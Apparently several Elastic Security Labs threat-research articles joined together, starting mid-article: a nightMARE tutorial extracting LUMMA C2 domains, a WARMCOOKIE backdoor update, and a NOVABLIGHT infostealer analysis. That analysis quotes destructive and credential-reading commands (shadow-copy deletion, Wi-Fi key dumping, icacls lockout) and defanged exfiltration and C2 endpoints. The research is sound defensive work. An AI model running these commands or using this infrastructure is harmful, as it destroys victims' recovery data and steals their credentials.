# Set unicorn hooks, however the WindowsEmulator instance get passed to the callback instead of unicorn
def set_hook(self, hook_type: int, hook: typing.Callable) -> int:

# Set hook on import call
def enable_iat_hooking(self) -> None:
def set_iat_hook(
        self,
        function_name: bytes,
        hook: typing.Callable[[WindowsEmulator, tuple, dict[str, typing.Any]], None],
) -> None:

As a usage example, we use the Windows binary DismHost.exe .

The binary uses the Sleep import at address 0x140006404:

We will therefore create a script that registers an IAT hook for the Sleep import, starts the emulation execution at address 0x140006404, and ends at address 0x140006412.

# coding: utf-8

import pathlib

from nightMARE.analysis import emulation


def sleep_hook(emu: emulation.WindowsEmulator, *args) -> None:
    print(
        "Sleep({} ms)".format(
            emu.unicorn.reg_read(emulation.unicorn.x86_const.UC_X86_REG_RCX)
        ),
    )
    emu.do_return()


def main() -> None:
    path = pathlib.Path(r"C:\Windows\System32\Dism\DismHost.exe")
    emu = emulation.WindowsEmulator(False)
    emu.load_pe(path.read_bytes(), 0x10000)
    emu.enable_iat_hooking()
    emu.set_iat_hook("KERNEL32.dll!Sleep", sleep_hook)
    emu.unicorn.emu_start(0x140006404, 0x140006412)


if __name__ == "__main__":
    main()

It is important to note that the hook function must necessarily return with the do_return function so that we can reach the address located after the call.

When the emulator starts, our hook is correctly executed.

Malware module

The malware module contains all the algorithm implementations for each malware family we cover. These algorithms can cover configuration extraction, cryptographic functions, or sample unpacking, depending on the type of malware. All these algorithms use the functionalities of the analysis module to do their job and provide good examples of how to use the library.

With the release of v0.16, here are the different malware families that we cover.

blister
deprecated
ghostpulse
latrodectus
lobshot
lumma
netwire
redlinestealer
remcos
smokeloader
stealc
strelastealer
xorddos

The complete implementation of the LUMMA algorithms we cover in the next chapter tutorial can be found under the LUMMA sub-module.

Please take note that the rapidly evolving nature of malware makes maintaining these modules difficult, but we welcome any help to the project, direct contribution, or opening issues.

Example: LUMMA configuration-extraction

LUMMA STEALER, also known as LUMMAC2, is an information-stealing malware still widely used in infection campaigns despite a recent takedown operation in May 2025. This malware incorporates control flow obfuscation and data encryption, making it more challenging to analyze both statically and dynamically.

In this section, we will use the following unencrypted sample as reference: 26803ff0e079e43c413e10d9a62d344504a134d20ad37af9fd3eaf5c54848122

We do a short analysis of how it decrypts its domain names step by step, and then demonstrate along the way how we build the configuration extractor using nightMARE.

Step 1: Initializing the ChaCha20 context

In this version, LUMMA performs the initialization of its cryptographic context after loading WinHTTP.dll, with the decryption key and nonce; this context will be reused for each call to the ChaCha20 decryption function without being reinitialized. The nuance here is that an internal counter within the context is updated with each use, so later we’ll need to take into account the value of this counter before the first domain decryption and then decrypt them in the correct order.

To reproduce this step in our script, we need to collect the key and nonce. The problem is that we don't know their location in advance, but we know where they are used. We pattern match this part of the code, then extract the addresses g_key_0 (key) and g_key_1 (nonce) from the instructions.

CRYPTO_SETUP_PATTERN = "b838?24400b???????00b???0???0096f3a5"

def get_decryption_key_and_nonce(binary: bytes) -> tuple[bytes, bytes]:
    # Load the binary in Rizin
    rz = reversing.Rizin.load(binary)

    # Find the virtual address of the pattern
    if not (
        x := rz.find_pattern(
            CRYPTO_SETUP_PATTERN, reversing.Rizin.PatternType.HEX_PATTERN
        )
    ):
        raise RuntimeError("Failed to find crypto setup pattern virtual address")

    # Extract the key and nonce address from the instruction second operand
    crypto_setup_va = x[0]["address"]
    key_and_nonce_address = rz.disassemble(crypto_setup_va, 1)[0]["opex"]["operands"][
        1
    ]["value"]

    # Return the key and nonce data
    return rz.get_data(key_and_nonce_address, CHACHA20_KEY_SIZE), rz.get_data(
        key_and_nonce_address + CHACHA20_KEY_SIZE, CHACHA20_NONCE_SIZE
    )

def build_crypto_context(key: bytes, nonce: bytes, initial_counter: int) -> bytes:
    crypto_context = bytearray(0x40)
    crypto_context[0x10:0x30] = key
    crypto_context[0x30] = initial_counter
    crypto_context[0x38:0x40] = nonce
    return bytes(crypto_context)

Step 2: Locate the decryption function

In this version, LUMMA's decryption function is easily located across samples as it is utilized immediately after loading WinHTTP imports.

We derive the hex pattern from the first bytes of the function to locate it in our script:

DECRYPTION_FUNCTION_PATTERN = "5553575681ec1?0100008b??243?01000085??0f84??080000"

def get_decryption_function_address(binary) -> int:
    # A cache system exist so the binary is only loaded once, then we get the same instance of Rizin :)
    if x := reversing.Rizin.load(binary: bytes).find_pattern(
        DECRYPTION_FUNCTION_PATTERN, reversing.Rizin.PatternType.HEX_PATTERN
    ):
        return x[0]["address"]
    raise RuntimeError("Failed to find decryption function address")

Step 3: Locate the encrypted domain's base address

By using xrefs from the decryption function, which is not called with obfuscated indirection like other LUMMA functions, we can easily find where it is called to decrypt the domains.

As with the first step, we will use the instructions to discover the base address of the encrypted domains in the binary:

C2_LIST_MAX_LENGTH = 0xFF
C2_SIZE = 0x80
C2_DECRYPTION_BRANCH_PATTERN = "8d8?e0?244008d7424??ff3?565?68????4500e8????ffff"

def get_encrypted_c2_list(binary: bytes) -> list[bytes]:
    rz = reversing.Rizin.load(binary)
    address = get_encrypted_c2_list_address(binary)
    encrypted_c2 = []
    for ea in range(address, address + (C2_LIST_MAX_LENGTH * C2_SIZE), C2_SIZE):
        encrypted_c2.append(rz.get_data(ea, C2_SIZE))
    return encrypted_c2


def get_encrypted_c2_list_address(binary: bytes) -> int:
    rz = reversing.Rizin.load(binary)
    if not len(
        x := rz.find_pattern(
            C2_DECRYPTION_BRANCH_PATTERN, reversing.Rizin.PatternType.HEX_PATTERN
        )
    ):
        raise RuntimeError("Failed to find c2 decryption pattern")

    c2_decryption_va = x[0]["address"]
    return rz.disassemble(c2_decryption_va, 1)[0]["opex"]["operands"][1]["disp"]

Step 4: Decrypt domains using emulation

A quick analysis of the decryption function shows that this version of LUMMA uses a slightly customized version of ChaCha20. We recognize the same small and diverse decryption functions scattered throughout the binaries. Here, they are used to decrypt parts of the ChaCha20 "expand 32-byte k" constant, which are then XOR-ROL derived before being stored in the context structure.

While we could implement the decryption function in our script, we have all the necessary addresses to demonstrate how we can directly call the function already present in the binary to decrypt our domains, using nightMARE's emulation module.

# We need the right initial value, before decrypting the domain
# the function is already called once so 0 -> 2
CHACHA20_INITIAL_COUNTER = 2

def decrypt_c2_list(
    binary: bytes, encrypted_c2_list: list[bytes], key: bytes, nonce: bytes
) -> list[bytes]:
    # Get the decryption function address (step 2)
    decryption_function_address = get_decryption_function_address(binary)

    # Load the emulator, True = 32bits
    emu = emulation.WindowsEmulator(True)
 
    # Load the PE in the emulator with a stack of 0x10000 bytes
    emu.load_pe(binary, 0x10000)
    
    # Allocate the chacha context
    chacha_ctx_address = emu.allocate_memory(CHACHA20_CTX_SIZE)
    
    # Write at the chacha context address the crypto context
    emu.unicorn.mem_write(
        chacha_ctx_address,
        build_crypto_context(
            key,
            nonce,
            CHACHA20_INITIAL_COUNTER, 
        ),
    )

    decrypted_c2_list = []
    for encrypted_c2 in encrypted_c2_list:
	 # Allocate buffers
        encrypted_buffer_address = emu.allocate_memory(C2_SIZE)
        decrypted_buffer_address = emu.allocate_memory(C2_SIZE)
        
        # Write encrypted c2 to buffer
        emu.unicorn.mem_write(encrypted_buffer_address, encrypted_c2)

        # Push arguments
        emu.push(C2_SIZE)
        emu.push(decrypted_buffer_address)
        emu.push(encrypted_buffer_address)
        emu.push(chacha_ctx_address)
 
        # Emulate a call
        emu.do_call(decryption_function_address, emu.image_base)

        # Fire!
        emu.unicorn.emu_start(decryption_function_address, emu.image_base)

        # Read result from decrypted buffer
        decrypted_c2 = bytes(
            emu.unicorn.mem_read(decrypted_buffer_address, C2_SIZE)
        ).split(b"\x00")[0]

        # If result isn't printable we stop, no more domain
        if not bytes_re.PRINTABLE_STRING_REGEX.match(decrypted_c2):
            break

        # Add result to the list
        decrypted_c2_list.append(b"https://" + decrypted_c2)

        # Clean up the args
        emu.pop()
        emu.pop()
        emu.pop()
        emu.pop()

        # Free buffers
        emu.free_memory(encrypted_buffer_address, C2_SIZE)
        emu.free_memory(decrypted_buffer_address, C2_SIZE)

       # Repeat for the next one ...

    return decrypted_c2_list

Result

Finally, we can run our module with pytest and view the LUMMA C2 list (decrypted_c2_list):

https://mocadia[.]com/iuew  
https://mastwin[.]in/qsaz  
https://ordinarniyvrach[.]ru/xiur  
https://yamakrug[.]ru/lzka  
https://vishneviyjazz[.]ru/neco  
https://yrokistorii[.]ru/uqya  
https://stolevnica[.]ru/xjuf  
https://visokiykaf[.]ru/mntn  
https://kletkamozga[.]ru/iwqq 

This example highlights how the nightMARE library can be used for binary analysis, specifically, for extracting the configuration from the LUMMA stealer.

Download nightMARE

The complete implementation of the code presented in this article is available here.

Conclusion

nightMARE is a versatile Python module, based on the best tools the open source community has to offer. With the release of version 0.16 and this short article, we hope to have demonstrated its capabilities and potential.

Internally, the project is at the heart of various even more ambitious projects, and we will continue to maintain nightMARE to the best of our abilities.

Elastic Security Labs continues to track developments in the WARMCOOKIE codebase, uncovering new infrastructure tied to the backdoor. Since our original post, we have been observing ongoing updates to the code family and continued activity surrounding the backdoor, including new infections and its use with emerging loaders. A recent finding by the IBM X-Force team highlighted a new Malware-as-a-Service (MaaS) loader, dubbed CASTLEBOT, distributing WARMCOOKIE.

In this article, we will review new features added to WARMCOOKIE since its initial publication. Following this, we’ll present the extracted configuration information from various samples.

Key takeaways

• The WARMCOOKIE backdoor is actively developed and distributed
• Campaign ID, a recently added marker, sheds light on targeting specific services and platforms
• WARMCOOKIE operators appear to receive variant builds distinguished by their command handlers and functionality
• Elastic Security Labs identified a default certificate that can be used to track new WARMCOOKIE C2 servers

WARMCOOKIE recap

We first published research about WARMCOOKIE in the summer of 2024, detailing its functionality and how it was deployed through recruiting-themed phishing campaigns. Since then, we have observed various development changes to the malware, including the addition of new handlers, a new campaign ID field, code optimization, and evasion adjustments.

WARMCOOKIE’s significance was highlighted in May 2025, during Europol’s Operation Endgame, in which multiple high-profile malware families, including WARMCOOKIE, were disrupted. Despite this, we are still seeing the backdoor being actively used in various malvertising and spam campaigns.

WARMCOOKIE updates

Handlers

During our analysis of the new variant of WARMCOOKIE, we identified four new handlers introduced in the summer of 2024, providing quick capabilities to launch executables, DLLs, and scripts:

• PE file execution
• DLL execution
• PowerShell script execution
• DLL execution with Start export

The most recent WARMCOOKIE builds we have collected contain the DLL/EXE execution functionality, with PowerShell script functionality being much less prevalent. These capabilities leverage the same function by passing different arguments for each file type. The handler creates a folder in a temporary directory, writing the file content (EXE / DLL / PS1) to a temporary file in the newly created folder. Then, it executes the temporary file directly or uses either rundll32.exe or PowerShell.exe. Below is an example of PE execution from procmon.

String bank

Another change observed was the adoption of using a list of legitimate companies for the folder paths and scheduled task names for WARMCOOKIE (referred to as a “string bank”). This is done for defense evasion purposes, allowing the malware to relocate to more legitimate-looking directories. This approach uses a more dynamic method (a list of companies to use as folder paths, assigned at malware runtime) as opposed to hardcoding the path into a static location, as we observed with previous variants (C:\ProgramData\RtlUpd\RtlUpd.dll).

The malware uses GetTickCount as a seed for the srand function to randomly select a string from the string bank.

The following depicts an example of a scheduled task showing the task name and folder location:

By searching a few of these names and descriptions, our team found that this string bank is sourced from a website used to rate and find reputable IT/Software companies.

Smaller changes

In our last write-up, WARMCOOKIE passed a command-line parameter using /p to determine if a scheduled task needs to be created; this parameter has been changed to /u. This appears to be a small, but additional change to break away from previous reporting.

In this new variant, WARMCOOKIE now embeds 2 separate GUID-like mutexes; these are used in combination to better control initialization and synchronization. Previous versions only used one mutex.

Another noticeable improvement in the more recent versions of WARMCOOKE is code optimization. The implementation seen below is now cleaner with less inline logic which makes the program optimized for readability, performance, and maintainability.

Clustering configs

Since our initial publication in July 2024, WARMCOOKIE samples have included a campaign ID field. This field is used by operators as a tag or marker providing context to the operators around the infection, such as the distribution method. Below is an example of a sample with a campaign ID of traffic2.

Based on the extracted configurations of samples in the last year, we hypothesize that the embedded RC4 key can be used to distinguish between operators using WARMCOOKIE. While unproven, we observed from various samples that some patterns started to emerge based on clustering the RC4 key.

By using the RC4 key, we can see overlap in campaign themes over time, such as the build using RC4 key 83ddc084e21a244c, which leverages keywords such as bing, bing2, bing3,and aws for campaign mapping. An interesting note, as it relates to these build artifacts, is that some builds contain different command handlers/functionality. For example, the build using the RC4 key 83ddc084e21a244c is the only variant we have observed that has PowerShell script execution capabilities, while most recent builds contain the DLL/EXE handlers.

Other campaign IDs appear to use terms such as lod2lod, capo, or PrivateDLL. For the first time, we saw the use of embedded domains versus numeric IP addresses in WARMCOOKIE from a sample in July 2025.

WARMCOOKIE infrastructure overview

After extracting the infrastructure from these configurations, one SSL certificate stands out. Our hypothesis is that the certificate below is possibly a default certificate used for the WARMCOOKIE back-end.

Issuer     
    C=AU, ST=Some-State, O=Internet Widgits Pty Ltd 
Not Before     
    2023-11-25T02:46:19Z
Not After
    2024-11-24T02:46:19Z  
Fingerprint (SHA1)     
    e88727d4f95f0a366c2b3b4a742950a14eff04a4
Fingerprint (SHA256)
    8c5522c6f2ca22af8db14d404dbf5647a1eba13f2b0f73b0a06d8e304bd89cc0

Certificate details

Note the “Not After” date above shows that this certificate is expired. However, new (and reused) infrastructure continues to be initialized using this expired certificate. This is not entirely new infrastructure, but rather a reconfiguration of redirectors to breathe new life into existing infrastructure. This could indicate that the campaign owners are not concerned with the C2 being discovered.

Conclusion

Elastic Security Labs continues to observe WARMCOOKIE infections and the deployment of new infrastructure for this family. Over the last year, the developer has continued to make updates and changes, suggesting it will be around for some time to come. Based on its selective usage, it continues to remain under the radar. We hope that by sharing this information, organizations will be better equipped to protect themselves from this threat.

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial Access
• Execution
• Defense Evasion
• Discovery
• Command and Control
• Exfiltration

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Phishing
• User Execution: Malicious Link
• Command and Scripting Interpreter: PowerShell
• System Information Discovery
• Scheduled Task/Job
• Screen Capture
• Command and Scripting Interpreter: Windows Command Shell
• Indicator Removal: Relocate Malware

Detecting malware

Prevention

• Suspicious PowerShell Downloads
• Scheduled Task Creation by an Unusual Process
• Suspicious PowerShell Execution via Windows Scripts
• RunDLL32 with Unusual Arguments
• Windows.Trojan.WarmCookie

YARA

Elastic Security has created the following YARA rules to identify this activity.

• Windows.Trojan.WarmCookie

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://www.ibm.com/think/x-force/dissecting-castlebot-maas-operation
• https://www.europol.europa.eu/media-press/newsroom/news/operation-endgame-strikes-again-ransomware-kill-chain-broken-its-source

NOVABLIGHT is a NodeJS-based Malware-as-a-Service (MaaS) information stealer developed and sold by a threat group that demonstrates French-language proficiency. This is apparent in their discussions and operational communications on their primary sales and support platforms, Telegram and Discord.

Based on our analysis of the latest released version of NOVABLIGHT, the following code snippet suggests that the Sordeal Group, the group behind Nova Sentinel and MALICORD, is responsible for NOVABLIGHT as well.

Key takeaways

• NOVABLIGHT is an infostealer described as an educational tool, though Telegram channel messages reveal sensitive information and unredacted screenshots.
• NOVABLIGHT licenses are valid for up to one year, and binaries can be generated via Telegram or Discord.
• Heavily obfuscated code with many capabilities.

Discovery

Elastic Security Labs identified multiple campaigns leveraging fake video game installer downloads as an initial access lure for MaaS infections of internet users. In one example, the URL http://gonefishe[.]com prompted the user to download a binary and install a French-language version of a game with a name and description comparable to one recently released on Steam.

Distribution, monetization, and community

The group advertised and sold their product on various online platforms, previously Sellix and Sellpass and currently Billgang.

The group sells an API key, which expires between 1 and 12 months. This key can then be used to build an instance of NOVABLIGHT through a Telegram bot or through Discord.

The group promotes a referral program on their Discord channel with API keys as rewards.

Users get access to a dashboard hosted by the group that presents the information collected from victims. The following domains were identified, though others may exist:

• api.nova-blight[.]top
• shadow.nova-blight[.]top
• nova-blight[.]site
• nova-blight[.]xyz
• bamboulacity.nova-blight[.]xyz

Some of the images used in the dashboard panel are hosted in GitHub repositories associated with different accounts, which helped expose more details about the group.

The GitHub account KSCHcuck1 is a pseudonym similar to that of the previous author of MALICORD, a free version of the earliest version of the stealer that was hosted on GitHub under the account KSCH-58 (WEB ARCHIVE LINK). The X account @KSCH_dsc also possessed similarities, and was actively advertising their "best stealer ever released" as recently as 2023.

The following GitHub accounts have been identified in relation to the group:

• https://github.com/KSCHcuck1
• https://github.com/CrackedProgramer412/caca
• https://github.com/MYnva
• https://github.com/404log (dead)

Their public Telegram channel hosts tutorials and a community of users. In the following image capture, users are sharing screenshots of the build process.

Users of the infostealer are openly sharing images of luxury items and money transfers, which is notable because NOVABLIGHT is described as being solely for educational purposes.

NOVABLIGHT analysis

NOVABLIGHT is a modular and feature-rich information stealer built on NodeJS with the Electron framework. Its capabilities go beyond simple credential theft, incorporating methods for data collection and exfiltration, sandbox detection, and heavy obfuscation.

A notable aspect of the malware's build process is its modular configuration. Although a customer can choose to disable specific features, the underlying code for those functions remains within the final payload; it is dormant and won’t be executed based on the build's configuration flags.

Code snippets in this report are from a non-obfuscated version 2.0 sample, when implementation details match version 2.2 samples, or from our manually de-obfuscated code of a version 2.2 sample when they differ.

Code structure

From initial setup to data theft, the infostealer is organized into a clear, multi-stage pipeline managed by high-level "flow" controllers. The primary stages are:

• flow/init: Pre-flight checks (running instances, admin privileges, internet connectivity), anti-analysis checks, system info enumeration, establish persistence, etc.
• flow/injecting: Application injection and patching (Atomic, Mullvad, Discord, …)
• flow/grabb: Data harvesting
• flow/ClipBoard: Clipboard hijacking
• flow/sending: Data exfiltration
• flow/disable: System sabotage (disable Windows Defender, system anti-reset, broken Internet connectivity, …)
• flow/cleaning: Post-exfiltration cleanup

For more insights into the code structure, check out this GitHub Gist, which lists the direct dependencies for each of NOVABLIGHT’s core modules and execution flows.

Anti-debug and sandbox detection

NOVABLIGHT incorporates multiple techniques to detect and evade analysis environments, combining environment fingerprinting with active countermeasures. These checks include:

• Detecting VM-related GPU names (vmware, virtualbox, qemu)
• Checking for blacklisted usernames (sandbox, test, malware)
• Identifying VM-specific driver files (balloon.sys, qemu-ga)
• Checking for low screen resolution and lack of USB devices
• Querying GitHub for blacklists of IPs, HWIDs, usernames, programs, organizations, GPU names, PC names, and Operating Systems
• Actively killing known analysis and debugging tools found in a remote list

The blacklists are hosted on GitHub:

• https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_ips.json
• https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_progr.json
• https://raw.githubusercontent.com/Mynva/sub/refs/heads/main/json/blockedorg.json
• https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_GPUTYPE.json
• https://raw.githubusercontent.com/Mynva/sub/main/json/nope.json
• https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_hwid.json
• https://raw.githubusercontent.com/Mynva/sub/main/json/blockedpcname.json
• https://raw.githubusercontent.com/MYnva/sub/refs/heads/main/json/blockedOS.json

Disable Defender & attempts to disable Task Manager

NOVABLIGHT attempts to disable Windows Defender and related Windows security features by downloading and executing a batch script, DisableWD.bat, from a public GitHub repository.

The malware claims to be capable of disabling the Task Manager, making it difficult for a non-technical user to identify and terminate the malicious program. It uses setValues from the regedit-rs package to set the DisableTaskMgr value to 1 under HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System.

However, looking at the regedit-rs repo (v1.0.3 to match), there are no exported functions named setValues, only putValue. This functionality may not work as intended.

Disable internet access

To disrupt the victim's internet connection, the malware employs two distinct methods. The first involves persistently disabling the Wi-Fi adapter by repeatedly resetting it in a rapid loop, utilizing the external npm package wifi-control and its resetWiFi function.

The second method disables the primary “Ethernet” network adapter using the netsh command, running it every 5 seconds to disable re-enabling attempts.

Defeat system recovery

The malware can sabotage system recovery by disabling the Windows Recovery Environment (reagentc /disable) and deleting all Volume Shadow Copies (vssadmin delete shadows /all) when the antireset flag is enabled in the configuration.

Blocking file deletion

Another system sabotage function that might be apparent to the victim involves making the malware’s own executable file undeletable by modifying its security permissions through icacls “${filePath}” /deny ${currentUser}:(DE,DC) where DE denies delete rights and DC prevents deletion via the parent folder and optionally creating a pop-up message box containing a “troll” message.

Before locking itself, it also executes a PowerShell command to remove the victim’s account from the following system groups: Administrators, Power Users, Remote Desktop Users, Administrateurs.

Clipboard address substitution

The malware implements a "clipper" module that actively monitors the clipboard of the machine for any Crypto or Paypal addresses and replaces them with addresses defined in the configuration, if the user who built the payload did not provide their own addresses, the malware defaults to a hardcoded set, presumably controlled by the developers to capture funds from their less experienced users.

Electron application injections

NOVABLIGHT can inject malicious code into several popular Electron-based applications. The payloads are dynamically fetched from the endpoint https://api.nova-blight[.]top/injections/*targeted_application*/*some_key*, targeting applications such as:

• Discord client
• Exodus wallet
• Mullvad VPN client
• Atomic wallet
• Mailspring email client

We were able to retrieve all of the modules from a public GitHub repository.

The injection implementation is a classic example of Electron App repacking: unpacking the ASAR file, rewriting any targeted source files, then repacking it. Looking at an example involving the Mullvad client, it first unpacks Program Files\\Mullvad VPN\\resources\\app.asar into a temporary directory, fetches a backdoored version of account.js from https://api.nova-blight[.]top/injections/mullvad/dVukBEtL8rW2PDgkwdwfbNSdG3imwU8bZhYUygzthir66sXXUuyURunOin9s, overwrites the source file account.js, and finally repacks it. While it might still work for older versions of Mullvad such as 2025.4, this does not seem to work on the latest version of Mullvad.

In a similar case for the Exodus client, the NOVABLIGHT developers modified the setPassphrase function in the main module of the Exodus application, with additional credential-stealing functionalities.
This is what main/index.js looks like in a legitimate release of Exodus 25.28.4:

In the trojanized index.js, user-entered passphrases are exfiltrated via configurable Discord webhooks and Telegram - using either the official Telegram API or a custom Telegram API proxy.

Chrome sensitive data extraction

For targeting Chromium-based browsers (Brave, Chrome, Edge) running on version 137, the malware downloads a zip file containing a Chrome data decryption tool from https://github.com/Hyutop/pandakmc-auto-vote/blob/main/bin.zip.

The GitHub repository attempts to masquerade as a Minecraft voting management tool.

However, the zip file bin.zip contains the compiled code (decrypt.exe and chrome_decrypt.dll) of version 0.11.0 of the Chrome App-bound decrypter PoC project by xaitax.

System enumeration

Once active, NOVABLIGHT executes a comprehensive suite of system enumeration functions designed to build a complete profile of the victim's machine and user activity. Each module targets a specific piece of information, which is then saved to a local directory before being uploaded to the command-and-control server. Detection engineers should note the specific implementations of each technique, and which data source(s) provide sufficient visibility.

• captureSystemInfo(): Gathers extensive hardware and software specifications to fingerprint the device. This includes the Hardware ID (HWID), CPU and GPU models, RAM size, disk information, Windows OS version, and a list of all connected USB devices.
• Output: *configured_path*/System Info.txt

• captureScreen(): Captures a full screenshot of the victim's desktop, providing immediate insight into the user's current activity.
  • Method: Utilizes the screenshot-desktop library.
  • Output: A timestamped image file (e.g., configured_path/hostname_2025-10-26_14-30-00.png`).
• captureTaskList(): Obtains a list of all currently running processes for situational awareness, allowing the attacker to see what applications and security tools are active.
  • Method: Executes the command tasklist /FO CSV /NH.
  • Output: *configured_path*/TaskManagerInfo.txt
• captureAVDetails(): Identifies the installed antivirus or endpoint protection product by querying the Windows Security Center.
  • Method: Executes the PowerShell command Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Format-List
  • Output: *configured_path*/Avdetails.txt
• captureClipboardContent(): Dumps the current content of the user's clipboard, which can contain sensitive, transient information like passwords or copied messages.
  • Method: Executes the PowerShell command Get-Clipboard.
  • Output: *configured_path*/Clipboard.txt
• captureWebcamVideo(): Covertly records a video using the system's primary webcam, providing visual intelligence on the victim and their environment.
  • Method: Leverages the direct-synch-show library for video capture.
  • Output: *configured_path*/Bighead.avi
• captureWifiPasswords(): Exfiltrates the passwords for all saved Wi-Fi networks on the device, allowing for potential lateral movement or access to other networks the victim uses.
  • Method: Executes the command netsh wlan show profile *wifi_ssid* key=clear for each profile.
  • Output: *configured_path*/WifiPasswords.txt
• getFilesUrgents: This functionality exfiltrate files on disk according to a set of keywords as follow: backup, default, code, discord, token, passw, mdp, motdepasse, mot_de_passe, login, secret, account, acount, apacht, banque, bank, matamask, wallet, crypto, exdous, 2fa, a1f, memo, compone, finance, seecret, credit, cni, these files are archived as files.zip then sent to the C2.

Data exfiltration

There are 3 channels for the stolen data: the official web panel owned by the NOVABLIGHT group, the Discord webhook API, and the Telegram API. The status of these channels is uncertain, as the main proxy API and web panel are currently down, which may disrupt the functionality of the Discord and Telegram channels if they rely on the same proxy infrastructure.

The web panel was once the official exfiltration channel, as it was advertised as their primary data management platform.

The Telegram implementation first tries to send the data to a configured proxy URL, the code checks if the URL contains the string req in this case https://bamboulacity.nova-blight[.]xyz/req/dVukBEtL8rW2PDgkwdwfbNSdG3imwU8bZhYUygzthir66sXXUuyURunOin9s.

If the proxy URL is not configured or does not meet the condition, the module falls back to communicating directly with the official Telegram API (at https://api.telegram[.]org/bot*token*/sendMessage) using a configured userId, chatId and botToken to send the stolen data.

Unlike the Telegram module, the Discord webhook implementation is much simpler. It utilizes a single URL for exfiltration with no fallback mechanism. The analyzed samples consistently used the custom proxy URL for this purpose.

NOVABLIGHT employs a redundant and multi-tiered infrastructure. Instead of relying on a single upload host, which would create a single point of failure, the malware leverages a combination of legitimate third-party file-hosting services and its own dedicated backend. The following is the extracted list of domains and endpoints:

• https://bashupload[.]com
• https://litterbox.catbox[.]moe/resources/internals/api.php
• https://tmpfiles[.]org/api/v1/upload
• https://oshi[.]at/
• http://sendfile[.]su/
• https://wsend[.]net
• https://api.gofile[.]io/servers
• https://gofile[.]io/uploadFiles
• https://rdmfile[.]eu/api/upload
• https://bamboulacity.nova-blight[.]xyz/file/

Targeted data

NOVABLIGHT executes targeted routines designed to steal credentials and session files from a specific list of installed software. The curated list is available in this GitHub Gist.

Obfuscation techniques

Array mapping

The first technique to tackle is the malware’s use of array mapping. The script initializes a single large global array __p_6Aeb_dlrArray with values of different types and encoding, which accounts for nearly all literal values used in the script.

After substituting array index references, many small string chunks that make up a full string are split and concatenated at runtime, but at this stage, the NOVABLIGHT versioning number can be identified easily.

String encoding

The second technique used to hide strings is the usage of base91 encoding. The function wrapper __p_xIFu_MAIN_STR is called with an integer argument.

The integer is an index of a secondary array mapping __p_9sMm_array that contains encoded strings. It retrieves the encoded string and passes it to the decoding routine __p_xIFu_MAIN_STR_decode.

__p_xIFu_MAIN_STR_decode will then decode it using a custom alphabet:
vFAjbQox\>5?4K$m=83GYu.nBIh\<drPaN\^@%Hk:D_sSyz"ER9/p,(*JwtfO)iUl&C\[~\}\{|Z+gX1MqL;60!e]T#2cVW7 and return the decoded string.

Access pattern obfuscation

Instead of accessing objects and functions directly, the code uses intermediate flattened “proxy” objects with mangled keys, wrapping objects in another layer of objects to hide the original access patterns.

For example, the function __p_LQ1f_flat_… is passed a flat object __p_w3Th_flat_object. This object contains 3 get accessors for properties, one of which returns the disableNetwork flag retrieved from the config, and a wrapper for a dispatcher call (__p_jGTR_dispatcher_26). Throughout the code, there is a pattern where the property names start with empretecerian.js, which happens to also be the script file’s name. The callee function can then access the actual objects and functions through this flat object populated by the caller.

Control flow obfuscation

Some of the code’s execution path is routed through a central dispatcher, __p_jGTR_dispatcher_26, in which the first argument name takes a short ID string.

Each ID is mapped to a distinct function. For example, the ID jgqatJ is referenced by the modules/init/Troll.js module and it is responsible for a “troll” popup message box.

Proxy variables

First, the obfuscation transforms function syntax to “rest parameters syntax” which replaces the parameters with an array that stores variable values instead of direct variables, the code then references the array with numerical values. For instance, the function __p_xIFu_MAIN_STR_decode is not called with direct parameters. Instead, its arguments are first placed into the __p_A5wG_varMask array (line 22), and the function is programmed to retrieve them from predefined indices. For example, at line 25, the index -36 of the array stores the index of the character "c" in a string stored in __p_A5wG_varMask[171].

NOVABLIGHT and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

• Execution
• Persistence
• Defense Evasion
• Credential Access
• Discovery
• Collection
• Command and Control
• Exfiltration

Techniques

• Obfuscated Files or Information
• Process Discovery
• Command and Scripting Interpreter: PowerShell
• Command and Scripting Interpreter: JavaScript
• Data Staged: Local Data Staging
• System Information Discovery
• File and Directory Discovery
• Screen Capture
• Clipboard Data
• Video Capture
• Virtualization/Sandbox Evasion: System Checks
• Account Access Removal
• Credentials from Password Stores: Credentials from Web Browsers
• Impair Defenses: Disable or Modify Tools
• Exfiltration Over Web Service: Exfiltration to Cloud Storage

Conclusion

NOVABLIGHT shows how even lesser-known malware can make an impact. By offering a polished, easy-to-use tool through platforms like Telegram and Discord, its creators have made it simple for anyone to get involved in cybercrime.

Furthermore, this threat is not static. Our analysis confirms that NOVABLIGHT is under continuous and active development. This ongoing evolution ensures that NOVABLIGHT will remain a persistent and relevant threat for the foreseeable future.

Detecting NOVABLIGHT

YARA

Elastic Security has created YARA rules to identify this activity.

rule Windows_Infostealer_NovaBlight {
    meta:
        author = "Elastic Security"
        creation_date = "2025-07-18"
        last_modified = "2025-07-28"
        os = "Windows"
        arch = "x86"
        category_type = "Infostealer"
        family = "NovaBlight"
        threat_name = "Windows.Infostealer.NovaBlight"
        reference_sample = "d806d6b5811965e745fd444b8e57f2648780cc23db9aa2c1675bc9d18530ab73"

    strings:
        $a1 = "C:\\Users\\Administrateur\\Desktop\\Nova\\"
        $a2 = "[+] Recording..." fullword
        $a3 = "[+] Capture start" fullword
    condition:
        all of them
}

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://www.gatewatcher.com/lab/groupe-nova-sentinel/
• https://www.cyfirma.com/research/emerging-maas-operator-sordeal-releases-nova-infostealer/

Elastic Security Labs has observed the ClickFix technique gaining popularity for multi-stage campaigns that deliver various malware through social engineering tactics.

